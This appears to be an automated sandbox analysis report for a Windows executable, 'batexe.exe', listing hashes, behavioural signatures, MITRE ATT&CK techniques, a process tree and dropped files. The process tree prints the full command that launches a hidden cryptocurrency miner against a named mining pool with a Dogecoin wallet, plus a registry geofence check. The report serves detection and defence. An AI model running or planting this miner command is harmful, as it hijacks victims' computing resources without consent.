73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 13:36

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2240	b2e.exe
4532	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4532	cpuminer-sse2.exe
4532	cpuminer-sse2.exe
4532	cpuminer-sse2.exe
4532	cpuminer-sse2.exe
4532	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3356-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 2240	3356	batexe.exe	84
PID 3356 wrote to memory of 2240	3356	batexe.exe	84
PID 3356 wrote to memory of 2240	3356	batexe.exe	84
PID 2240 wrote to memory of 1232	2240	b2e.exe	85
PID 2240 wrote to memory of 1232	2240	b2e.exe	85
PID 2240 wrote to memory of 1232	2240	b2e.exe	85
PID 1232 wrote to memory of 4532	1232	cmd.exe	88
PID 1232 wrote to memory of 4532	1232	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Users\Admin\AppData\Local\Temp\8FCC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8FCC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8FCC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\96E1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1232
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8FCC.tmp\b2e.exe

Filesize
2.4MB

MD5
0498fc7b83f98d83a67dd6af50c6970c

SHA1
399517196b39f8471e6878c9e806963ff3f61be5

SHA256
54b8a3df3ca36c8d03bb67a3cc242bd49abf7ce58a51212dcb3f9218cd7fcbbb

SHA512
d52bb74fbe76869b3fb33f89b2473ad3a554c419c4e8c2183bc3b5e390ec7519f7f56fe918c6c72ba107946cf6c36823638ecdc6645e288c77b6e66570dc2fea

Download Submit
C:\Users\Admin\AppData\Local\Temp\8FCC.tmp\b2e.exe

Filesize
4.5MB

MD5
15fe3b622166db04c27b3fcb5ceffb24

SHA1
a794100da106418811d553ba4bf0827f5db2a1ad

SHA256
5607b3451e0f482583e6ecab18a8220ca3adda2ae9cf33d4de26b2ad52702343

SHA512
a1568593ceba6c60da1fda21ae76e2c154db826f85163663a2aa02cd70ffd4dc1577060fe320bf0cf07bdf83945cd52a57f417fed60a730b7c2a38569404f2c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\8FCC.tmp\b2e.exe

Filesize
5.4MB

MD5
20849d500adf882d9a36df3ea9fc9f81

SHA1
eec879d9e0f3689133b0daf337f731aed78da9a6

SHA256
694d25cc4b227106f92ce13d2f713a087d7477676c0ccc88b7adf63bbef0e02b

SHA512
a5427289e40cbaa1cee14b1d1a6f3e00d7728d74bf082e25d9c72291576b6fba4b6a2dcaf7f3a1f84e2c68d7328cc985c853f602c7a75fd1bfb1f978af756296

Download Submit
C:\Users\Admin\AppData\Local\Temp\96E1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
512KB

MD5
a879c5fd4613dca566d5b1a782690dd5

SHA1
41c6063b0f0dee953e99713a5326856b55e08366

SHA256
3ee76359d6802a8fe11c5b144e18ffd3833bc7b49d66f190621d41e41ea0fc20

SHA512
e20f8f40822ca215c75767b8d4102583cfb3812c74dbc064a8619f214c164ab94da6bee0ae42c794a0af1847ff30c295b34d3015f87bfe597dba80339871ea96

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.2MB

MD5
51384abec1c5f777f2cc38f80e208ac2

SHA1
4712fcbd95a296fbf7d615cbba4ba80a642ce882

SHA256
632d12921c4233dd0855d9527ced503425e06d5a554942c23551bf90cbf761ae

SHA512
17f3dc72e4f7659ce09298948591dd5caf43720a2238d389cd9f34e9d3d5cd9bb9aa31acf5d55ad87eaaefa8f68cb69624254af7be71d7407ab285708d349efd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.6MB

MD5
95f427b1ad03cd73f89346a4da6a41f5

SHA1
0cc0089ddf6adeaf118033ce72ad91d0c40eb138

SHA256
5a944087be4a7bda4b40ecf502a91f335624dcfb4734666c2b91447a6cfa01a8

SHA512
d4263a8ae46a064fbb60f8638e48b203aef9c4e4af9e8c66691720b4284bcc891c8e6bdf3de97d1f451b826ddc71bc904c587c0ae1c78f90729998a5813622d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.9MB

MD5
b7ded6669a5e8efff152752ba067612b

SHA1
f0c563cdcafb605938db671454ea82347efcdfb4

SHA256
e7b1d5b2145d2a67975691a28ee45a45105b40310c3b106736ecdbf7667e08ba

SHA512
99121380c89568c9f5f0690fb1af596a1f8e6f8540bbf6cd54ddddea69497b4b5270a827de59229933023d131d872319ec765608f4b376a9c53620ed19b7665a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2240-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2240-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3356-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4532-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-46-0x0000000065820000-0x00000000658B8000-memory.dmp

Filesize
608KB

Download
memory/4532-47-0x0000000001150000-0x0000000002A05000-memory.dmp

Filesize
24.7MB

Download
memory/4532-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4532-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4532-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download